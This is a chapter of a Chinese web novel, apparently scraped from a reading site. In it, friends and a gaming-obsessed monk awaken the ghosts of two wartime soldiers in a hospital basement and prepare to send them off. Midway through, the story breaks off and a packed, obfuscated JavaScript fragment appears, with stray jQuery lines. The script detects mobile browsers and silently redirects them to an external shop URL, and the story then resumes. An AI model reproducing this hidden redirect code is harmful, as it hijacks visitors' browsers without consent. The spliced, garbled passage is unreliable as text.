文趣网 > 其他小说 > 小妖精靠科普爆红娱乐圈 > 21. 恢复啦!
    虽然大家又困又累,但没有一个人提出异议。

    傍晚时分,程成开了剧组的商务车,接上众人,浩浩荡荡奔赴医院。

    姬且宁请来超度的大师就坐在副驾上,惹得程成一眼一眼地瞟他。这人出乎意料的年轻,面如冠玉,眼似桃花,哪怕扎扎实实剃了个光头,都不太让人信任——看脸他至少得有十八个前女友。

    林星意也很惊诧,凑在姬且宁身边悄声问:“你确定这人靠谱?”

    姬且宁笃定点头,“释辰,大德高僧!享受民俗局特殊津贴,江湖人称京圈佛子,没问题的!”

    林星意:“……”

    怎么听起来问题更大了……

    “姬小姐莫要拿贫僧取笑。”释辰微微侧脸,淡声说。

    他这样端肃淡泊的样子,倒是颇有些大德高僧的味道。林星意心下稍安,见他手指在手机屏幕上不停地点来点去,满脸沉着,一时好奇探过头去,“大师在干什么呢?”

    却见屏幕上王者荣耀战斗正酣,大德高僧的ID旁,赫然是一个倔强青铜的徽章。

    林星意,“……”

    释辰注意到他,呵呵一笑,“林施主在惊讶什么?一饮一食皆合道,胜负荣辱亦是禅,成败输赢都是镜花水月。不执段位,不迷己心,推水晶与敲木鱼,原是一样的。”

    林星意讷讷坐回自己座位上,手机悄悄给程成发消息,“听不懂,好深奥,推个水晶原来还有这么多道道吗?话说现在少林寺是不是只招硕士文凭的和尚?”

    程成回得很快,“不知道诶,咱也没读过研,咱也没当过僧。”

    林星意,“……”

    等到了医院负一楼,释辰气势一凛,顿时正经了很多。

    到了掐算好的时间,他让所有人熄灭灯光。一片黑暗沉寂里,释辰神情悲悯,口诵大悲咒,以杨柳枝蘸清水洒向四方,又拿出黄铜引磬,右手持铜棍轻敲,声音清越悠长。

    他朗声道:“闻此声者,烦恼轻,智慧长,黑暗破,光明,现!”

    众人都屏住了呼吸。

    音乐乍响,第一句就像是平地里投下来的惊雷,林星意和程成猝不及防,都露出了古怪的表情。这音乐起调突兀而雄浑——居然是《义勇军进行曲》。

    这慷慨激昂、所有华夏人都耳熟能详的音乐,和这寂静幽微、阴森破败的环境格格不入。释辰的神色倒是很安详。伴着这雄浑壮阔的音乐一遍遍飘扬,他面前的蜡烛也渐渐升起一点荧荧的微光。

    那微光越来越亮,越来越亮,渐渐映出了黑暗里两位先辈的模样。

    这音乐似乎减轻了些他们灵魂上的蒙尘,他们慢慢地,竟能合着音乐一起唱了起来。

    这《义勇军进行曲》难不成竟有唤醒神智的作用?

    释辰看着林星意费解的眼神,微微一笑,“军人哪会信佛?他既不信,那便无用。要引导灵魂觉醒,自当要用他们最虔诚的信仰。”

    林星意哑然半晌,佩服道:“您还真是挺能灵活变通的。”

    释辰目光坦荡,“我今来此,不为弘教,只为英雄送行,有什么不能变通的呢?”

    他肃容,朗声念道:“此地虽陋,此心至诚。英烈在上,你们不是无名的孤鬼,你们是曾以血肉之躯守护华夏的壮士。请听此召唤——”

    他轻击引磬三声。

    “记起你们的过往!记起你们的誓言!记起你们身披戎装时的模样!灵识,归位!”

    伴着最后一声,引磬重重敲响,这两位先辈像是蒙昧痴儿猛然被唤醒,眼神倏地清明了起来。谁都能感觉到,他们有些不一样了。

    那位女性先辈看着他们,迟疑道:“你们是……”

    烛火荧荧,竟不及她那双明亮澄澈的眼睛。

    姬且宁忙自报家门,“我们是华夏后辈,跟您隔着大概七十多年的光阴。感谢您当初的努力拼搏,我们才得以生活在这样的未来里。”她顿了顿,“我可以告诉您,未来很好,特别特别好。”

    女性先辈看着他们,眸光微闪,突然道:“你们的衣服真好看。现在,是人人都能这么穿吗?”

    姬珩坚定点头,“是的。战争胜利了,倭寇被打回了老家,华夏强大了起来,没人再敢在我们的土地上撒野。现在,家国无恙,人间安康,人人都穿得起这样的衣服。你们的血,没有白流。”

    另一位头颅残缺的先辈愣愣地听着,倏然,半张破碎的脸上扬起一个灿烂的笑。他挺直了脊梁,像当年在军营里一样,畅快地喊了一声:“好!政委,那咱们……值了!”

    他的半边颅骨几乎碎尽了,笑容看起来异常狰狞吓人,但没有人被吓到。林星意这才发现,他其实很年轻,面容甚至还带着稚气,放在现在,可能只是个高中生的年纪。

    “你们跟我们说说,未来……哦,是你们的现在,是什么样子的?人人都有地种、有活儿干吗?每天都能吃到肉吗?地主被打倒了没有……”少年先辈连珠炮似的追问。

    被唤作政委的女性也期待地看着他们,等着他们的回答。

    那眼神,仿佛是最最慈爱的母亲注视着自己的孩子,等着孩子嘟嘟哝哝地跟她讲在幼儿园里发生的趣事。

    突然,这少年的声音戛然而止。他左右张望,茫然问道:“对了,我们其他的同志呢?我们该有很多人的,他们在哪里呢?”

    大家哑然。他们自来到这间医院,见到的幸存鬼只有三位。

    毕竟七十余年,太过漫长的岁月了。小清吃尽了所有倭人才能维持理智,而这二位浑浑噩噩的样子,不像是吞吃了其他人,可能只是天时地利人和,幸运地存在至今。

    这样的幸运,这偌大医院里,也只有这二位。剩下的战士去哪了,大家想都不敢想。

    他们沉默着,政委和少年读懂了他们的沉默。政委难以置信地、茫然地“啊”了一声,“难不成,一百多个同志……就剩下我们两个了?!”

    她震惊又悲愤,“那帮混小子,他们怎么都走了?他们怎么不带着我和小昌一起走啊?把我们两个孤零零留在这世间,还有什么意思?!”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526361|203523||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >名叫小昌的少年先辈也惊慌地睁大了眼睛,不敢相信自己听到的消息。

    恰逢大喜,又闻大悲,看着这两位先辈满怀哀戚地掉下眼泪,一时间谁都不敢说话。

    “不是的,阿姨。”哭声中,小月亮糯糯开口,“我能感觉到,你们能够存在至今,是有人希望你们存在至今。他们把自己的念力都加持在了你们身上,他们在护佑你们。”

    姬且宁有些惊讶地看着小月亮,想了想,也连忙道:“一定是这样的。你们也没有辜负他们的期望,哪怕忘了自己是谁,也从没忘记要守护什么。”

    姬珩补充,“对的,昨天我们误入这里,要不是遇到了你们,我们可能就要被倭国人诓骗,死在这里了!就是因为有你们阻拦,她的阴谋才始终没有得逞。你们哪怕在神智不清的时候,都救下了不止一个华夏人!”

    他还知道给程成留面子,把主动找死美化成误入。

    政委愣神了片刻。

    “是了,是了,”她喃喃,“小昌是队伍里最小的孩子,我也是蒙大家抬爱当上了政委。他们心疼我们一个女人、一个小孩,就自作主张,把生的机会留给了我俩——是那帮混小子能做出来的事!”

    政委伸手揩去脸上的泪水,语气抱怨又不失骄傲,“幸好,我们也没丢份儿。到了底下,也能抬头挺胸地去会这帮老伙计!”

    政委看向姬且宁,“姑娘,我求你个事儿。阴阳两隔,我和小昌总在这里待着也不像话。你既然能把我们叫醒,能跟我们说话,那你能不能有什么办法,让我们去我们该去的地方?”

    她有些腼腆地一笑,“也许,我的那些老弟兄们,还在底下等着我俩呐!”

    姬且宁点头,“实不相瞒,今天我们来这里,就是为了给二位送行。七十年光阴磨蚀,你们的灵魂已经很虚弱了。再滞留下去,恐怕就真的撑不住了。”

    政委有些错愕,转瞬欣喜道:“那可太好了,谢谢你们,谢谢你们还能惦记着我俩这把老骨头。”

    她动情地握住姬且宁的手,又触电一般松开,难为情道:“听说鬼摸了活人的手,就会把霉运过给活人。我刚刚情急失态了,姑娘,得罪莫怪啊。”

    姬且宁一把拉住政委的手,“能有今天,都是我们沾了您的光,又怎么可能传染霉运呢?”

    政委释然地笑了起来。

    “送您二位走之前,我们先给您添点行装。好多新鲜玩意儿呢,您也感受一下自己亲手打下的未来。”林星意支起火盆,大把纸扎件不要钱一样往里扔:衣服鞋帽、纸房子、摇钱树、金山银山。

    他甚至还扔了几个纸扎的手机、电脑进去,并附带一个纸扎的发电机。

    得知要来后的短短时间里,他几乎把家附近所有的纸扎店都扫荡了一遍。

    政委推辞不过,含笑受了后辈这片心意,只在林星意要烧纸人的时候制止了他,笑道:“都走进新时代了,还要给我烧丫鬟奴才?真想让我在底下犯错误啊?”

    众人都笑。

    “咦,这是什么?”